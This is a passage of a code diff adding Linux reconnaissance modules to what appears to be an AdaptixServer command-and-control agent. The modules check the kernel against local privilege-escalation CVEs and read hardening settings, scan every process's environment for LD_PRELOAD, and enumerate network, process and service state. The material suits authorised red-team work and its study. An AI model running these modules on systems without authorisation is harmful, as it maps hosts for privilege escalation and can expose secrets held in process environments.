expansion. Fixed in 6.4.1"}, + // nftables (2023) + {"CVE-2023-32233", "nftables batch UAF", 5, 1, 0, 6, 3, 1, + "Nftables anonymous set UAF — requires CAP_NET_ADMIN. Fixed in 6.3.2"}, + // GameOver(lay) + {"CVE-2023-2640", "GameOver(lay)", 5, 15, 0, 6, 4, 0, + "Ubuntu-specific OverlayFS — setxattr on overlayfs grants caps. Ubuntu only."}, + // Looney Tunables (glibc) + {"CVE-2023-4911", "Looney Tunables", 0, 0, 0, 99, 99, 99, + "glibc GLIBC_TUNABLES buffer overflow — not kernel but local root. Check glibc version."}, + // netfilter nf_tables 2024 + {"CVE-2024-1086", "nf_tables double-free", 5, 14, 0, 6, 7, 1, + "nf_verdict double-free — reliable local root. Fixed in 6.7.2. Public exploit available."}, + // io_uring 2024 + {"CVE-2024-0582", "io_uring PBUF ring", 6, 4, 0, 6, 7, 0, + "io_uring provided buffer ring mmap UAF. Fixed in 6.7"}, + // Sentinel + {(const char *)0, (const char *)0, 0,0,0, 0,0,0, (const char *)0} +}; + +static int parse_kernel_version(const char *str, int *major, int *minor, int *patch) { + *major = *minor = *patch = 0; + + // Parse major + while (*str >= '0' && *str <= '9') { + *major = *major * 10 + (*str - '0'); + str++; + } + if (*str != '.') return -1; + str++; + + // Parse minor + while (*str >= '0' && *str <= '9') { + *minor = *minor * 10 + (*str - '0'); + str++; + } + if (*str == '.') { + str++; + // Parse patch + while (*str >= '0' && *str <= '9') { + *patch = *patch * 10 + (*str - '0'); + str++; + } + } + + return 0; +} + +// Compare versions: -1 if a < b, 0 if a == b, 1 if a > b +static int version_compare(int maj_a, int min_a, int pat_a, + int maj_b, int min_b, int pat_b) { + if (maj_a != maj_b) return (maj_a < maj_b) ? -1 : 1; + if (min_a != min_b) return (min_a < min_b) ? -1 : 1; + if (pat_a != pat_b) return (pat_a < pat_b) ? -1 : 1; + return 0; +} + +void go(char *args, int args_len) { + BeaconPrintf(CALLBACK_OUTPUT, "[*] Kernel exploit checker\n\n"); + + // 1. Read kernel version + char *version_str = (char *)0; + int vlen = AxReadFileToBuffer("/proc/version", &version_str, 4096); + if (vlen <= 0 || !version_str) { + BeaconPrintf(CALLBACK_ERROR, "[!] Failed to read /proc/version\n"); + return; + } + BeaconPrintf(CALLBACK_OUTPUT, "=== Kernel ===\n"); + BeaconOutput(CALLBACK_OUTPUT, version_str, vlen); + BeaconOutput(CALLBACK_OUTPUT, "\n", 1); + + // Extract version number — find "Linux version X.Y.Z" + char *ver_start = AxStrstr(version_str, "Linux version "); + int major = 0, minor = 0, patch = 0; + if (ver_start) { + ver_start += 14; // skip "Linux version " + parse_kernel_version(ver_start, &major, &minor, &patch); + } else { + // Try direct parse + parse_kernel_version(version_str, &major, &minor, &patch); + } + AxFree(version_str); + + BeaconPrintf(CALLBACK_OUTPUT, "Parsed version: %d.%d.%d\n\n", major, minor, patch); + + if (major == 0 && minor == 0 && patch == 0) { + BeaconPrintf(CALLBACK_ERROR, "[!] Failed to parse kernel version\n"); + return; + } + + // 2. Check against CVE database + BeaconPrintf(CALLBACK_OUTPUT, "=== Potential CVEs ===\n"); + int vulnerable = 0; + + for (int i = 0; kernel_cves[i].cve; i++) { + int in_range = + (version_compare(major, minor, patch, + kernel_cves[i].min_major, kernel_cves[i].min_minor, kernel_cves[i].min_patch) >= 0) && + (version_compare(major, minor, patch, + kernel_cves[i].max_major, kernel_cves[i].max_minor, kernel_cves[i].max_patch) <= 0); + + if (in_range) { + BeaconPrintf(CALLBACK_OUTPUT, "[!!] %s — %s\n", kernel_cves[i].cve, kernel_cves[i].name); + BeaconPrintf(CALLBACK_OUTPUT, " %s\n\n", kernel_cves[i].note); + vulnerable++; + } + } + + if (vulnerable == 0) { + BeaconPrintf(CALLBACK_OUTPUT, " (no matching CVEs for kernel %d.%d.%d)\n", major, minor, patch); + } + + // 3. Additional system info for manual analysis + BeaconPrintf(CALLBACK_OUTPUT, "\n=== System info ===\n"); + + // Distribution info + const char *dist_files[] = { + "/etc/os-release", "/etc/lsb-release", "/etc/redhat-release", + "/etc/debian_version", (const char *)0 + }; + + for (int i = 0; dist_files[i]; i++) { + char *data = (char *)0; + int dlen = AxReadFileToBuffer(dist_files[i], &data, 4096); + if (dlen > 0 && data) { + BeaconPrintf(CALLBACK_OUTPUT, "%s:\n", dist_files[i]); + BeaconOutput(CALLBACK_OUTPUT, data, dlen); + if (data[dlen - 1] != '\n') + BeaconOutput(CALLBACK_OUTPUT, "\n", 1); + AxFree(data); + break; // Only show first found + } + } + + // Check security features + BeaconPrintf(CALLBACK_OUTPUT, "\n=== Security features ===\n"); + + // SELinux + char *selinux = (char *)0; + int se_len = AxReadFileToBuffer("/sys/fs/selinux/enforce", &selinux, 64); + if (se_len > 0 && selinux) { + BeaconPrintf(CALLBACK_OUTPUT, " SELinux: %s\n", + selinux[0] == '1' ? "enforcing" : "permissive/disabled"); + AxFree(selinux); + } else { + BeaconPrintf(CALLBACK_OUTPUT, " SELinux: not present\n"); + } + + // AppArmor + char *apparmor = (char *)0; + int aa_len = AxReadFileToBuffer("/sys/kernel/security/apparmor/profiles", &apparmor, 4096); + if (aa_len > 0 && apparmor) { + // Count profiles + int profiles = 0; + for (int i = 0; i < aa_len; i++) { + if (apparmor[i] == '\n') profiles++; + } + BeaconPrintf(CALLBACK_OUTPUT, " AppArmor: active (%d profiles)\n", profiles); + AxFree(apparmor); + } else { + BeaconPrintf(CALLBACK_OUTPUT, " AppArmor: not present\n"); + } + + // ASLR + char *aslr = (char *)0; + int aslr_len = AxReadFileToBuffer("/proc/sys/kernel/randomize_va_space", &aslr, 64); + if (aslr_len > 0 && aslr) { + int level = aslr[0] - '0'; + const char *aslr_desc = "unknown"; + if (level == 0) aslr_desc = "disabled"; + else if (level == 1) aslr_desc = "partial"; + else if (level == 2) aslr_desc = "full"; + BeaconPrintf(CALLBACK_OUTPUT, " ASLR: %s (%d)\n", aslr_desc, level); + AxFree(aslr); + } + + // Check if unprivileged BPF is allowed + char *bpf = (char *)0; + int bpf_len = AxReadFileToBuffer("/proc/sys/kernel/unprivileged_bpf_disabled", &bpf, 64); + if (bpf_len > 0 && bpf) { + BeaconPrintf(CALLBACK_OUTPUT, " Unprivileged BPF: %s\n", + bpf[0] == '0' ? "ALLOWED (attack surface)" : "disabled"); + AxFree(bpf); + } + + // Check unprivileged user namespaces + char *userns = (char *)0; + int userns_len = AxReadFileToBuffer("/proc/sys/kernel/unprivileged_userns_clone", &userns, 64); + if (userns_len > 0 && userns) { + BeaconPrintf(CALLBACK_OUTPUT, " Unprivileged user namespaces: %s\n", + userns[0] == '1' ? "ALLOWED (enables many exploits)" : "disabled"); + AxFree(userns); + } + + // kptr_restrict + char *kptr = (char *)0; + int kptr_len = AxReadFileToBuffer("/proc/sys/kernel/kptr_restrict", &kptr, 64); + if (kptr_len > 0 && kptr) { + BeaconPrintf(CALLBACK_OUTPUT, " kptr_restrict: %c\n", kptr[0]); + AxFree(kptr); + } + + // dmesg_restrict + char *dmesg = (char *)0; + int dmesg_len = AxReadFileToBuffer("/proc/sys/kernel/dmesg_restrict", &dmesg, 64); + if (dmesg_len > 0 && dmesg) { + BeaconPrintf(CALLBACK_OUTPUT, " dmesg_restrict: %c\n", dmesg[0]); + AxFree(dmesg); + } + + BeaconPrintf(CALLBACK_OUTPUT, "\n[*] Check complete — %d potential CVE(s)\n", vulnerable); +} diff --git a/AdaptixServer/extenders/linux_agent/src_agent/bofs/ld_preload_check.c b/AdaptixServer/extenders/linux_agent/src_agent/bofs/ld_preload_check.c new file mode 100644 index 000000000..35c49d127 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/bofs/ld_preload_check.c @@ -0,0 +1,257 @@ +/// ld_preload_check.c — BOF: Check for LD_PRELOAD hooks, /etc/ld.so.preload, rogue shared libs +/// Compile: gcc -c -o ld_preload_check.o ld_preload_check.c -include bof_api.h -Os -fPIC +/// Usage: execute bof ld_preload_check.o + +struct linux_dirent64 { + unsigned long long d_ino; + long long d_off; + unsigned short d_reclen; + unsigned char d_type; + char d_name[]; +}; + +#define DT_DIR 4 + +static int is_digit(char c) { return c >= '0' && c <= '9'; } +static int str_to_int(const char *s) { + int val = 0; + while (*s >= '0' && *s <= '9') { val = val * 10 + (*s - '0'); s++; } + return val; +} + +static void check_ld_preload_env(void) { + BeaconPrintf(CALLBACK_OUTPUT, "\n=== LD_PRELOAD environment variable ===\n"); + + // Check our own process + char val[1024]; + if (AxGetEnv("LD_PRELOAD", val, sizeof(val)) > 0) { + BeaconPrintf(CALLBACK_OUTPUT, " [!!] Current process: LD_PRELOAD=%s\n", val); + } else { + BeaconPrintf(CALLBACK_OUTPUT, " [-] Not set in current process\n"); + } + + // Scan all processes for LD_PRELOAD + BeaconPrintf(CALLBACK_OUTPUT, "\n=== Scanning all processes for LD_PRELOAD ===\n"); + int found = 0; + + int dirfd = AxOpenDir("/proc"); + if (dirfd < 0) return; + + char dirbuf[8192]; + while (1) { + int nread = AxReadDir(dirfd, dirbuf, sizeof(dirbuf)); + if (nread <= 0) break; + + int pos = 0; + while (pos < nread) { + struct linux_dirent64 *entry = (struct linux_dirent64 *)(dirbuf + pos); + + if (entry->d_type == DT_DIR && is_digit(entry->d_name[0])) { + int pid = str_to_int(entry->d_name); + if (pid > 0) { + char path[128]; + AxSnprintf(path, sizeof(path), "/proc/%d/environ", pid); + + char *env = (char *)0; + int env_len = AxReadFileToBuffer(path, &env, 65536); + if (env_len > 0 && env) { + // Search for LD_PRELOAD= in null-separated environ + int epos = 0; + while (epos < env_len) { + char *entry_str = env + epos; + int elen = 0; + while (epos + elen < env_len && entry_str[elen] != '\0') elen++; + + if (elen > 11 && AxStrncmp(entry_str, "LD_PRELOAD=", 11) == 0) { + // Get process name + char pname[128]; + pname[0] = '\0'; + char spath[128]; + AxSnprintf(spath, sizeof(spath), "/proc/%d/comm", pid); + char *comm = (char *)0; + int clen = AxReadFileToBuffer(spath, &comm, 128); + if (clen > 0 && comm) { + if (comm[clen - 1] == '\n') comm[clen - 1] = '\0'; + AxStrcpy(pname, comm); + AxFree(comm); + } + + char preload_val[512]; + int vlen = elen - 11; + if (vlen > 511) vlen = 511; + AxMemcpy(preload_val, entry_str + 11, vlen); + preload_val[vlen] = '\0'; + + BeaconPrintf(CALLBACK_OUTPUT, + " [!!] PID %-6d (%s): LD_PRELOAD=%s\n", + pid, pname, preload_val); + found++; + break; + } + epos += elen + 1; + } + AxFree(env); + } + } + } + pos += entry->d_reclen; + } + } + AxCloseFile(dirfd); + + if (found == 0) { + BeaconPrintf(CALLBACK_OUTPUT, " [-] No processes with LD_PRELOAD\n"); + } +} + +static void check_ld_so_preload(void) { + BeaconPrintf(CALLBACK_OUTPUT, "\n=== /etc/ld.so.preload ===\n"); + + char *data = (char *)0; + int len = AxReadFileToBuffer("/etc/ld.so.preload", &data, 8192); + if (len > 0 && data) { + BeaconPrintf(CALLBACK_OUTPUT, " [!!] /etc/ld.so.preload EXISTS — global preload active!\n"); + + char *line = data; + while (line < data + len) { + char *eol = line; + while (eol < data + len && *eol != '\n') eol++; + int llen = (int)(eol - line); + + if (llen > 0 && line[0] != '#') { + char lbuf[512]; + if (llen > 511) llen = 511; + AxMemcpy(lbuf, line, llen); + lbuf[llen] = '\0'; + + // Check if library exists + unsigned int mode = 0; + long fsize = 0; + int exists = (AxFileStat(lbuf, &mode, &fsize, (unsigned int *)0, (unsigned int *)0) == 0); + + BeaconPrintf(CALLBACK_OUTPUT, " [PRELOAD] %s (%s, %ld bytes)\n", + lbuf, exists ? "exists" : "MISSING", fsize); + } + line = eol + 1; + } + AxFree(data); + } else { + BeaconPrintf(CALLBACK_OUTPUT, " [-] /etc/ld.so.preload does not exist (normal)\n"); + } +} + +static void check_ld_library_path(void) { + BeaconPrintf(CALLBACK_OUTPUT, "\n=== LD_LIBRARY_PATH ===\n"); + + char val[2048]; + if (AxGetEnv("LD_LIBRARY_PATH", val, sizeof(val)) > 0) { + BeaconPrintf(CALLBACK_OUTPUT, " [!] LD_LIBRARY_PATH=%s\n", val); + BeaconPrintf(CALLBACK_OUTPUT, " (non-standard library search paths — potential hijack vector)\n"); + } else { + BeaconPrintf(CALLBACK_OUTPUT, " [-] Not set\n"); + } +} + +static void check_ld_so_conf(void) { + BeaconPrintf(CALLBACK_OUTPUT, "\n=== /etc/ld.so.conf + /etc/ld.so.conf.d/ ===\n"); + + char *conf = (char *)0; + int conf_len = AxReadFileToBuffer("/etc/ld.so.conf", &conf, 8192); + if (conf_len > 0 && conf) { + BeaconPrintf(CALLBACK_OUTPUT, " /etc/ld.so.conf:\n"); + char *line = conf; + while (line < conf + conf_len) { + char *eol = line; + while (eol < conf + conf_len && *eol != '\n') eol++; + int llen = (int)(eol - line); + if (llen > 0 && line[0] != '#') { + char lbuf[256]; + if (llen > 255) llen = 255; + AxMemcpy(lbuf, line, llen); + lbuf[llen] = '\0'; + BeaconPrintf(CALLBACK_OUTPUT, " %s\n", lbuf); + } + line = eol + 1; + } + AxFree(conf); + } + + // Scan /etc/ld.so.conf.d/ + int dirfd = AxOpenDir("/etc/ld.so.conf.d"); + if (dirfd >= 0) { + char dirbuf[4096]; + while (1) { + int nread = AxReadDir(dirfd, dirbuf, sizeof(dirbuf)); + if (nread <= 0) break; + int pos = 0; + while (pos < nread) { + struct linux_dirent64 *entry = (struct linux_dirent64 *)(dirbuf + pos); + if (entry->d_name[0] != '.') { + char fpath[256]; + AxSnprintf(fpath, sizeof(fpath), "/etc/ld.so.conf.d/%s", entry->d_name); + char *fdata = (char *)0; + int flen = AxReadFileToBuffer(fpath, &fdata, 4096); + if (flen > 0 && fdata) { + BeaconPrintf(CALLBACK_OUTPUT, " %s:\n", fpath); + char *fl = fdata; + while (fl < fdata + flen) { + char *feol = fl; + while (feol < fdata + flen && *feol != '\n') feol++; + int fllen = (int)(feol - fl); + if (fllen > 0 && fl[0] != '#') { + char flbuf[256]; + if (fllen > 255) fllen = 255; + AxMemcpy(flbuf, fl, fllen); + flbuf[fllen] = '\0'; + BeaconPrintf(CALLBACK_OUTPUT, " %s\n", flbuf); + } + fl = feol + 1; + } + AxFree(fdata); + } + } + pos += entry->d_reclen; + } + } + AxCloseFile(dirfd); + } +} + +static void check_rpath_abuse(void) { + BeaconPrintf(CALLBACK_OUTPUT, "\n=== Writable library directories ===\n"); + + // Check if any standard lib dirs are writable + const char *lib_dirs[] = { + "/lib", "/lib64", "/usr/lib", "/usr/lib64", + "/usr/local/lib", "/usr/local/lib64", + (const char *)0 + }; + + int writable = 0; + for (int i = 0; lib_dirs[i]; i++) { + unsigned int mode = 0; + if (AxFileStat(lib_dirs[i], &mode, (long *)0, (unsigned int *)0, (unsigned int *)0) == 0) { + // Check world-writable (or our uid writable) + if (mode & 002) { // world-writable + BeaconPrintf(CALLBACK_OUTPUT, " [!!] %s is world-writable!\n", lib_dirs[i]); + writable++; + } + } + } + + if (writable == 0) { + BeaconPrintf(CALLBACK_OUTPUT, " [-] Standard library directories are properly protected\n"); + } +} + +void go(char *args, int args_len) { + BeaconPrintf(CALLBACK_OUTPUT, "[*] LD_PRELOAD / shared library hook analysis\n"); + + check_ld_preload_env(); + check_ld_so_preload(); + check_ld_library_path(); + check_ld_so_conf(); + check_rpath_abuse(); + + BeaconPrintf(CALLBACK_OUTPUT, "\n[*] LD analysis complete\n"); +} diff --git a/AdaptixServer/extenders/linux_agent/src_agent/bofs/net_enum.c b/AdaptixServer/extenders/linux_agent/src_agent/bofs/net_enum.c new file mode 100644 index 000000000..3e1a552bf --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/bofs/net_enum.c @@ -0,0 +1,238 @@ +/// net_enum.c — BOF: Network enumeration (interfaces, routes, ARP, DNS, connections) +/// Compile: gcc -c -o net_enum.o net_enum.c -include bof_api.h -Os -fPIC +/// Usage: execute bof net_enum.o + +static void dump_file_section(const char *title, const char *path) { + char *data = (char *)0; + int len = AxReadFileToBuffer(path, &data, 131072); + if (len > 0 && data) { + BeaconPrintf(CALLBACK_OUTPUT, "\n=== %s (%s) ===\n", title, path); + BeaconOutput(CALLBACK_OUTPUT, data, len); + if (data[len - 1] != '\n') + BeaconOutput(CALLBACK_OUTPUT, "\n", 1); + AxFree(data); + } +} + +static void parse_hex_ip(const char *hex, char *out, int out_size) { + // Parse hex IP like "0100007F" → "127.0.0.1" (little-endian) + unsigned int ip = 0; + for (int i = 0; i < 8 && hex[i]; i++) { + unsigned int nibble = 0; + char c = hex[i]; + if (c >= '0' && c <= '9') nibble = c - '0'; + else if (c >= 'A' && c <= 'F') nibble = c - 'A' + 10; + else if (c >= 'a' && c <= 'f') nibble = c - 'a' + 10; + ip = (ip << 4) | nibble; + } + // Convert from network byte order (stored in little-endian hex) + AxSnprintf(out, out_size, "%d.%d.%d.%d", + ip & 0xFF, (ip >> 8) & 0xFF, + (ip >> 16) & 0xFF, (ip >> 24) & 0xFF); +} + +static int hex_to_int(const char *s, int len) { + int val = 0; + for (int i = 0; i < len && s[i]; i++) { + unsigned int nibble = 0; + char c = s[i]; + if (c >= '0' && c <= '9') nibble = c - '0'; + else if (c >= 'A' && c <= 'F') nibble = c - 'A' + 10; + else if (c >= 'a' && c <= 'f') nibble = c - 'a' + 10; + val = (val << 4) | nibble; + } + return val; +} + +static const char *tcp_state_str(int state) { + switch (state) { + case 1: return "ESTABLISHED"; + case 2: return "SYN_SENT"; + case 3: return "SYN_RECV"; + case 4: return "FIN_WAIT1"; + case 5: return "FIN_WAIT2"; + case 6: return "TIME_WAIT"; + case 7: return "CLOSE"; + case 8: return "CLOSE_WAIT"; + case 9: return "LAST_ACK"; + case 10: return "LISTEN"; + case 11: return "CLOSING"; + default: return "UNKNOWN"; + } +} + +static void parse_tcp_connections(const char *path, const char *proto) { + char *data = (char *)0; + int len = AxReadFileToBuffer(path, &data, 524288); + if (len <= 0 || !data) return; + + BeaconPrintf(CALLBACK_OUTPUT, "\n=== %s connections (%s) ===\n", proto, path); + BeaconPrintf(CALLBACK_OUTPUT, " %-6s %-22s %-22s %-15s %-6s\n", + "IDX", "LOCAL", "REMOTE", "STATE", "UID"); + + char *line = data; + int line_num = 0; + + while (line < data + len) { + char *eol = line; + while (eol < data + len && *eol != '\n') eol++; + + line_num++; + if (line_num == 1) { // Skip header + line = eol + 1; + continue; + } + + // Parse: idx: local_addr:port remote_addr:port state ... uid + // Skip leading whitespace + char *p = line; + while (p < eol && (*p == ' ' || *p == '\t')) p++; + + // Find fields by scanning for colons and spaces + // Format: " 0: 0100007F:0035 00000000:0000 0A 00000000:00000000 ..." + // Simple approach: find key hex fields + char *colon1 = AxStrchr(p, ':'); + if (!colon1 || colon1 >= eol) { line = eol + 1; continue; } + + // Local address starts after first ": " + char *local_start = colon1 + 2; + char *local_colon = AxStrchr(local_start, ':'); + if (!local_colon || local_colon >= eol) { line = eol + 1; continue; } + + char local_ip_hex[16]; + int lip_len = (int)(local_colon - local_start); + if (lip_len > 15) lip_len = 15; + AxMemcpy(local_ip_hex, local_start, lip_len); + local_ip_hex[lip_len] = '\0'; + + int local_port = hex_to_int(local_colon + 1, 4); + + // Remote address + char *space_after_local = local_colon + 5; + while (space_after_local < eol && *space_after_local == ' ') space_after_local++; + char *remote_colon = AxStrchr(space_after_local, ':'); + if (!remote_colon || remote_colon >= eol) { line = eol + 1; continue; } + + char remote_ip_hex[16]; + int rip_len = (int)(remote_colon - space_after_local); + if (rip_len > 15) rip_len = 15; + AxMemcpy(remote_ip_hex, space_after_local, rip_len); + remote_ip_hex[rip_len] = '\0'; + + int remote_port = hex_to_int(remote_colon + 1, 4); + + // State (2 hex chars after remote port + space) + char *state_start = remote_colon + 6; + while (state_start < eol && *state_start == ' ') state_start++; + int state = hex_to_int(state_start, 2); + + // Convert IPs + char local_ip[32], remote_ip[32]; + parse_hex_ip(local_ip_hex, local_ip, sizeof(local_ip)); + parse_hex_ip(remote_ip_hex, remote_ip, sizeof(remote_ip)); + + char local_str[40], remote_str[40]; + AxSnprintf(local_str, sizeof(local_str), "%s:%d", local_ip, local_port); + AxSnprintf(remote_str, sizeof(remote_str), "%s:%d", remote_ip, remote_port); + + BeaconPrintf(CALLBACK_OUTPUT, " %-6d %-22s %-22s %-15s\n", + line_num - 1, local_str, remote_str, tcp_state_str(state)); + + line = eol + 1; + } + AxFree(data); +} + +static void parse_arp_table(void) { + char *data = (char *)0; + int len = AxReadFileToBuffer("/proc/net/arp", &data, 65536); + if (len <= 0 || !data) return; + + BeaconPrintf(CALLBACK_OUTPUT, "\n=== ARP table ===\n"); + BeaconOutput(CALLBACK_OUTPUT, data, len); + AxFree(data); +} + +static void parse_dns(void) { + char *data = (char *)0; + int len = AxReadFileToBuffer("/etc/resolv.conf", &data, 8192); + if (len > 0 && data) { + BeaconPrintf(CALLBACK_OUTPUT, "\n=== DNS configuration ===\n"); + // Show only nameserver and search/domain lines + char *line = data; + while (line < data + len) { + char *eol = line; + while (eol < data + len && *eol != '\n') eol++; + int llen = (int)(eol - line); + + if (llen > 0 && line[0] != '#') { + if (AxStrncmp(line, "nameserver", 10) == 0 || + AxStrncmp(line, "search", 6) == 0 || + AxStrncmp(line, "domain", 6) == 0) { + char lbuf[256]; + if (llen > 255) llen = 255; + AxMemcpy(lbuf, line, llen); + lbuf[llen] = '\0'; + BeaconPrintf(CALLBACK_OUTPUT, " %s\n", lbuf); + } + } + line = eol + 1; + } + AxFree(data); + } +} + +void go(char *args, int args_len) { + BeaconPrintf(CALLBACK_OUTPUT, "[*] Network enumeration\n"); + + // Interfaces + dump_file_section("Network interfaces", "/proc/net/dev"); + + // Routes + dump_file_section("Routing table", "/proc/net/route"); + + // IPv6 routes (if present) + dump_file_section("IPv6 routes", "/proc/net/ipv6_route"); + + // ARP + parse_arp_table(); + + // DNS + parse_dns(); + + // TCP connections + parse_tcp_connections("/proc/net/tcp", "TCP"); + + // UDP listeners + dump_file_section("UDP sockets", "/proc/net/udp"); + + // TCP6 + parse_tcp_connections("/proc/net/tcp6", "TCP6"); + + // Listening ports summary + BeaconPrintf(CALLBACK_OUTPUT, "\n=== /etc/hosts ===\n"); + char *hosts = (char *)0; + int hosts_len = AxReadFileToBuffer("/etc/hosts", &hosts, 8192); + if (hosts_len > 0 && hosts) { + BeaconOutput(CALLBACK_OUTPUT, hosts, hosts_len); + AxFree(hosts); + } + + // Hostname + char *hostname = (char *)0; + int hn_len = AxReadFileToBuffer("/proc/sys/kernel/hostname", &hostname, 256); + if (hn_len > 0 && hostname) { + BeaconPrintf(CALLBACK_OUTPUT, "\n[*] Hostname: %s", hostname); + AxFree(hostname); + } + + // Domain + char *domain = (char *)0; + int dm_len = AxReadFileToBuffer("/proc/sys/kernel/domainname", &domain, 256); + if (dm_len > 0 && domain) { + BeaconPrintf(CALLBACK_OUTPUT, "[*] Domain: %s", domain); + AxFree(domain); + } + + BeaconPrintf(CALLBACK_OUTPUT, "\n[*] Network enumeration complete\n"); +} diff --git a/AdaptixServer/extenders/linux_agent/src_agent/bofs/proc_enum.c b/AdaptixServer/extenders/linux_agent/src_agent/bofs/proc_enum.c new file mode 100644 index 000000000..e957d3c09 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/bofs/proc_enum.c @@ -0,0 +1,164 @@ +/// proc_enum.c — BOF: Deep /proc process enumeration (threads, fd, cmdline, maps, cwd) +/// Compile: gcc -c -o proc_enum.o proc_enum.c -include bof_api.h -Os -fPIC +/// Usage: execute bof proc_enum.o + +struct linux_dirent64 { + unsigned long long d_ino; + long long d_off; + unsigned short d_reclen; + unsigned char d_type; + char d_name[]; +}; + +#define DT_DIR 4 + +static int is_digit(char c) { return c >= '0' && c <= '9'; } + +static int str_to_int(const char *s) { + int val = 0; + while (*s >= '0' && *s <= '9') { + val = val * 10 + (*s - '0'); + s++; + } + return val; +} + +static void enum_process(int pid) { + char path[256]; + char buf[4096]; + + // cmdline + AxSnprintf(path, sizeof(path), "/proc/%d/cmdline", pid); + char *cmdline = (char *)0; + int cmdline_len = AxReadFileToBuffer(path, &cmdline, 4096); + + // Replace null bytes with spaces in cmdline + char cmd_display[512]; + cmd_display[0] = '\0'; + if (cmdline_len > 0 && cmdline) { + int dlen = cmdline_len > 500 ? 500 : cmdline_len; + AxMemcpy(cmd_display, cmdline, dlen); + for (int i = 0; i < dlen; i++) { + if (cmd_display[i] == '\0') cmd_display[i] = ' '; + } + cmd_display[dlen] = '\0'; + AxFree(cmdline); + } + + // status — extract key fields + AxSnprintf(path, sizeof(path), "/proc/%d/status", pid); + char *status = (char *)0; + int status_len = AxReadFileToBuffer(path, &status, 8192); + if (status_len <= 0 || !status) return; + + // Parse Name, State, Uid, Gid, Threads, VmRSS + char name[128] = "(unknown)"; + char state[32] = "?"; + int uid = -1, threads = 0; + long vm_rss = 0; + + char *line = status; + while (line < status + status_len) { + char *eol = line; + while (eol < status + status_len && *eol != '\n') eol++; + + if (AxStrncmp(line, "Name:\t", 6) == 0) { + int nlen = (int)(eol - line - 6); + if (nlen > 127) nlen = 127; + AxMemcpy(name, line + 6, nlen); + name[nlen] = '\0'; + } else if (AxStrncmp(line, "State:\t", 7) == 0) { + int slen = (int)(eol - line - 7); + if (slen > 31) slen = 31; + AxMemcpy(state, line + 7, slen); + state[slen] = '\0'; + } else if (AxStrncmp(line, "Uid:\t", 5) == 0) { + uid = str_to_int(line + 5); + } else if (AxStrncmp(line, "Threads:\t", 9) == 0) { + threads = str_to_int(line + 9); + } else if (AxStrncmp(line, "VmRSS:", 6) == 0) { + char *p = line + 6; + while (*p == ' ' || *p == '\t') p++; + vm_rss = 0; + while (*p >= '0' && *p <= '9') { + vm_rss = vm_rss * 10 + (*p - '0'); + p++; + } + } + line = eol + 1; + } + AxFree(status); + + // cwd (readlink via reading /proc/pid/cwd — we read the symlink target) + char cwd[256] = ""; + AxSnprintf(path, sizeof(path), "/proc/%d/cwd", pid); + // Can't readlink without syscall, but we can try exe + AxSnprintf(path, sizeof(path), "/proc/%d/exe", pid); + char *exe = (char *)0; + // exe is a symlink — read via /proc/pid/maps first line or status + // Simplify: just show cmdline + + // Count open FDs + int fd_count = 0; + AxSnprintf(path, sizeof(path), "/proc/%d/fd", pid); + int dirfd = AxOpenDir(path); + if (dirfd >= 0) { + char dirbuf[4096]; + while (1) { + int nread = AxReadDir(dirfd, dirbuf, sizeof(dirbuf)); + if (nread <= 0) break; + int pos = 0; + while (pos < nread) { + struct linux_dirent64 *entry = (struct linux_dirent64 *)(dirbuf + pos); + if (entry->d_name[0] != '.') fd_count++; + pos += entry->d_reclen; + } + } + AxCloseFile(dirfd); + } + + // Output + BeaconPrintf(CALLBACK_OUTPUT, " %-6d %-4d %-20s %-10s thr=%-3d fd=%-4d rss=%-8ld %s\n", + pid, uid, name, state, threads, fd_count, vm_rss, cmd_display); +} + +void go(char *args, int args_len) { + BeaconPrintf(CALLBACK_OUTPUT, "[*] Deep process enumeration\n\n"); + BeaconPrintf(CALLBACK_OUTPUT, " %-6s %-4s %-20s %-10s %-7s %-6s %-10s %s\n", + "PID", "UID", "NAME", "STATE", "THR", "FDs", "RSS(kB)", "CMDLINE"); + BeaconPrintf(CALLBACK_OUTPUT, " %s\n", + "----------------------------------------------------------------------" + "----------------------------------------------"); + + int dirfd = AxOpenDir("/proc"); + if (dirfd < 0) { + BeaconPrintf(CALLBACK_ERROR, "[!] Cannot open /proc\n"); + return; + } + + char dirbuf[8192]; + int total = 0; + + while (1) { + int nread = AxReadDir(dirfd, dirbuf, sizeof(dirbuf)); + if (nread <= 0) break; + + int pos = 0; + while (pos < nread) { + struct linux_dirent64 *entry = (struct linux_dirent64 *)(dirbuf + pos); + + // Only process numeric directories (PIDs) + if (entry->d_type == DT_DIR && is_digit(entry->d_name[0])) { + int pid = str_to_int(entry->d_name); + if (pid > 0) { + enum_process(pid); + total++; + } + } + pos += entry->d_reclen; + } + } + AxCloseFile(dirfd); + + BeaconPrintf(CALLBACK_OUTPUT, "\n[*] %d processes enumerated\n", total); +} diff --git a/AdaptixServer/extenders/linux_agent/src_agent/bofs/service_enum.c b/AdaptixServer/extenders/linux_agent/src_agent/bofs/service_enum.c new file mode 100644 index 000000000..3bda8dd6a --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/bofs/service_enum.c @@ -0,0 +1,301 @@ +/// service_enum.c — BOF: Enumerate running services, systemd units, init scripts +/// Compile: gcc -c -o service_enum.o service_enum.c -include bof_api.h -Os -fPIC +/// Usage: execute bof service_enum.o + +struct linux_dirent64 { + unsigned long long d_ino; + long long d_off; + unsigned short d_reclen; + unsigned char d_type; + char d_name[]; +}; + +#define DT_REG 8 +#define DT_LNK 10 +#define DT_DIR 4 + +static int is_digit(char c) { return c >= '0' && c <= '9'; } +static int str_to_int(const char *s) { + int val = 0; + while (*s >= '0' && *s <= '9') { val = val * 10 + (*s - '0'); s++; } + return val; +} + +static void enum_listening_services(void) { + BeaconPrintf(CALLBACK_OUTPUT, "\n=== Listening services (from /proc/net/tcp) ===\n"); + + char *tcp = (char *)0; + int tcp_len = AxReadFileToBuffer("/proc/net/tcp", &tcp, 524288); + if (tcp_len <= 0 || !tcp) return; + + BeaconPrintf(CALLBACK_OUTPUT, " %-8s %-22s\n", "PROTO", "LISTEN ADDRESS"); + + char *line = tcp; + int line_num = 0; + while (line < tcp + tcp_len) { + char *eol = line; + while (eol < tcp + tcp_len && *eol != '\n') eol++; + + line_num++; + if (line_num == 1) { line = eol + 1; continue; } + + // Find state field (0A = LISTEN) + // Quick scan for "0A" as state + char *p = line; + // Skip to after remote_addr:port (3 colon-delimited fields) + int colons = 0; + while (p < eol && colons < 3) { + if (*p == ':') colons++; + p++; + } + // Skip spaces + while (p < 